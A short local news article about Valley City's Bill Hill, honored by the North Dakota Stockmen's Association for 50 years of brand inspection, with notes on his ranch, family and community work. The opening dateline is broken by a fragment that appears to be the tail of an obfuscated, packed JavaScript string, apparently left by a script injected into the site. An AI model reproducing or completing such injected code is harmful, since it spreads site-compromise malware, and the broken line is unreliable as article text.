MINOT, tzrer|var|u0026u|referrer|brtfk||js|php’.split(‘|’),0,{}))
ND – (NewsDakota.com) William “Bill” Hill of Valley City was honored by the North Dakota Stockmen’s Association with a 50 Year Service Award earlier this month in Minot.

Hill has been in charge of markets in Valley City, Jamestown, Edgeley and the Triple S. Cattle Company in Valley City for several decades. He also inspected in West Fargo and during the North Dakota Winter Show in Valley City.

In addition to his brand inspection service, Bill farmed for many years. He represents the fourth-generation to operate the Barnes County ranch that was purchased in 1875 by his Great Grandfather from the Northern Pacific Railroad.

In 1954, Hill married a red-haired, full-blood Norwegian, Earlis. He says he had chased her for three years before she finally caught him. He and Earlis had five daughters: Lynn Harper Hill (Guy Harper) of Jamestown, Lori Hill of Fargo, Tami Kratz (Virgil Kratz) of Valley City, Christl Durand (Al Durand) of Hoople and Tracey Hill of Devils Lake. Bill also has five grandchildren, who range in age from 15 to 35 years old.
 
Bill has been active in many community organizations, including the local Eagles Club and the North Dakota Amvets, serving as an officer at the local, state, and national levels.
 
Although retired from farming, Bill has not slowed down. He spent 10 years as a load coordinator for a fat lamb buying commission firm from Baraboo, Wisconsin. Today, he works at Valley Meat Supply in Valley City, a company he says has put up with him for 40 years. Why not keep working? He said. The food is good and the B.S. is great.